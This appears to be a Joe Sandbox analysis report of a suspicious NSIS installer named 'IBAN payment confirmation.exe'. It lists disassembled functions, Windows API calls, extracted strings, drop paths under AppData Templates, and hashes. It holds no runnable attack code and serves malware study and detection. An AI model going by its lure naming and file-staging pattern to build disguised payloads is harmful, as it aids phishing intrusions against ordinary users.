Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
Opcode Fuzzy Hash: db08064a331c8b710d2bfbefb5f5365b1a6743964771edbed48d05eba51cbb05
Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

Function 00405F0C Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00405FCF
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040604D
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 00406060
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 0040609C
SHGetPathFromIDListW.SHELL32(?,Call), ref: 004060AA
CoTaskMemFree.OLE32(?), ref: 004060B5
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004060D9
lstrlenW.KERNEL32(Call,00000000,004216B0,?,004051CB,004216B0,00000000,00000000,00000000), ref: 00406133

Strings

Call, xrefs: 00405F36, 00406016, 00406037, 0040604C, 0040605F, 0040607B, 004060A6, 004060D8, 004060DE, 004060F8, 0040610C, 0040612C, 00406132, 0040613E, 00406171
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040601B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060D3

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction ID: 201fcfe404e7502d8ff22bbbb8bc1db0d7d07a9235330109bbd625d5d43c8b09
Opcode Fuzzy Hash: 9fe4ffeb513939a43d7003ef0179ff27352b89f5fe06c0b94729ac98e3d3bc3e
Instruction Fuzzy Hash: 93612371A40516EBDB209F24CC44AAF37A5EF00314F51813BE546BA2E0D73D8AA2CB4E

Function 00405772 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\IBAN payment confirmation.exe"), ref: 0040579B
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\IBAN payment confirmation.exe"), ref: 004057E3
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\IBAN payment confirmation.exe"), ref: 00405806
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\IBAN payment confirmation.exe"), ref: 0040580C
FindFirstFileW.KERNELBASE(004246D8,?,?,?,00409014,?,004246D8,?,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0,"C:\Users\user\Desktop\IBAN payment confirmation.exe"), ref: 0040581C
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
FindClose.KERNEL32(00000000), ref: 004058CB

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405780
\*.*, xrefs: 004057DD
"C:\Users\user\Desktop\IBAN payment confirmation.exe", xrefs: 0040577B

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\IBAN payment confirmation.exe"$C:\Users\user~1\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1830475424
Opcode ID: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
Opcode Fuzzy Hash: 91addf2f7801abc8b01003351af1a773a3a4ecd8c4e6fa2132f7e8029f9d92b7
Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E

Function 0040653F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,?,?,771B2EE0,00405792,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0), ref: 00406238
FindClose.KERNEL32(00000000), ref: 00406244

Strings

WB, xrefs: 0040622E

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD

Function 00406254 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
GetProcAddress.KERNEL32(00000000,?), ref: 00406282

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction ID: 46d0f10fa6fb29b22d4bf355a321a76136a9e9be6b3571ea53230c25cba9bd22
Opcode Fuzzy Hash: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction Fuzzy Hash: 02E0CD36A08120ABC7115B309D44D6773BCAFE9601305053DF505F6240C774AC1297A9

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr, xrefs: 004020FB

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr
API String ID: 542301482-3758315044
Opcode ID: 57f4e40bbc1eb8bc1193217420ff9fbc7ed6710042c31834a7e6d6b3d9fbdd66
Instruction ID: b9114a0b4d3c9f05545c6126c0c632b8b73b1fcf7d0bd01aa9b6132af3d7cd36
Opcode Fuzzy Hash: 57f4e40bbc1eb8bc1193217420ff9fbc7ed6710042c31834a7e6d6b3d9fbdd66
Instruction Fuzzy Hash: 4B414F75A00105BFCB00DFA4C988EAE7BB5AF49318B20416AF505EF2D1D679AD41CB55

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

lstrcatW.KERNEL32(1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user~1\AppData\Local\Temp\,771B3420,00000000,"C:\Users\user\Desktop\IBAN payment confirmation.exe"), ref: 00403935
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user~1\AppData\Local\Temp\), ref: 004039B5
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
GetFileAttributesW.KERNEL32(Call), ref: 004039D3
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet), ref: 00403A1C

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

RegisterClassW.USER32(00428180), ref: 00403A59
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
ShowWindow.USER32(00000005,00000000), ref: 00403ADC
LoadLibraryW.KERNELBASE(RichEd20), ref: 00403AED
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
RegisterClassW.USER32(00428180), ref: 00403B1E
DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 004038C0
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 00403944, 0040394C, 004039EF, 004039F5, 00403A05
RichEdit, xrefs: 00403B0F
Control Panel\Desktop\ResourceLocale, xrefs: 004038E8
RichEd20, xrefs: 00403AE8
1033, xrefs: 004038D4, 00403930
RichEd32, xrefs: 00403AF3
Call, xrefs: 0040397C, 00403985, 00403993, 004039E2, 004039E8
.DEFAULT\Control Panel\International, xrefs: 00403920
.exe, xrefs: 004039C2
_Nb, xrefs: 00403A38, 00403AA0
RichEdit20W, xrefs: 00403B00, 00403B06
"C:\Users\user\Desktop\IBAN payment confirmation.exe", xrefs: 004038B7

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\IBAN payment confirmation.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-2439459934
Opcode ID: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
Opcode Fuzzy Hash: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
ShowWindow.USER32(?), ref: 00403CB0
DestroyWindow.USER32 ref: 00403CC4
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
GetDlgItem.USER32(?,?), ref: 00403D01
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
IsWindowEnabled.USER32(00000000), ref: 00403D1C
GetDlgItem.USER32(?,00000001), ref: 00403DCA
GetDlgItem.USER32(?,00000002), ref: 00403DD4
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
GetDlgItem.USER32(?,00000003), ref: 00403EE5
ShowWindow.USER32(00000000,?), ref: 00403F06
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F18
EnableWindow.USER32(?,?), ref: 00403F33
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
EnableMenuItem.USER32(00000000), ref: 00403F50
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
ShowWindow.USER32(?,0000000A), ref: 004040EC

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
Opcode Fuzzy Hash: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

Function 00402DBC Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\IBAN payment confirmation.exe,00000400), ref: 00402DEC

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\IBAN payment confirmation.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\IBAN payment confirmation.exe,C:\Users\user\Desktop\IBAN payment confirmation.exe,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNELBASE(00000040,00409230), ref: 00402F7C

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00402DC9, 00402F94
soft, xrefs: 00402EAC
Error launching installer, xrefs: 00402E0C
Null, xrefs: 00402EB5
F, xrefs: 00403004
Inst, xrefs: 00402EA3
C:\Users\user\Desktop\IBAN payment confirmation.exe, xrefs: 00402DD6, 00402DE5, 00402DF9, 00402E16
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
C:\Users\user\Desktop, xrefs: 00402E17, 00402E1C, 00402E22
"C:\Users\user\Desktop\IBAN payment confirmation.exe", xrefs: 00402DC5

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\IBAN payment confirmation.exe"$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\IBAN payment confirmation.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$F$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-4264661639
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Mixerudstyr,?,?,00000031), ref: 004017B8

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
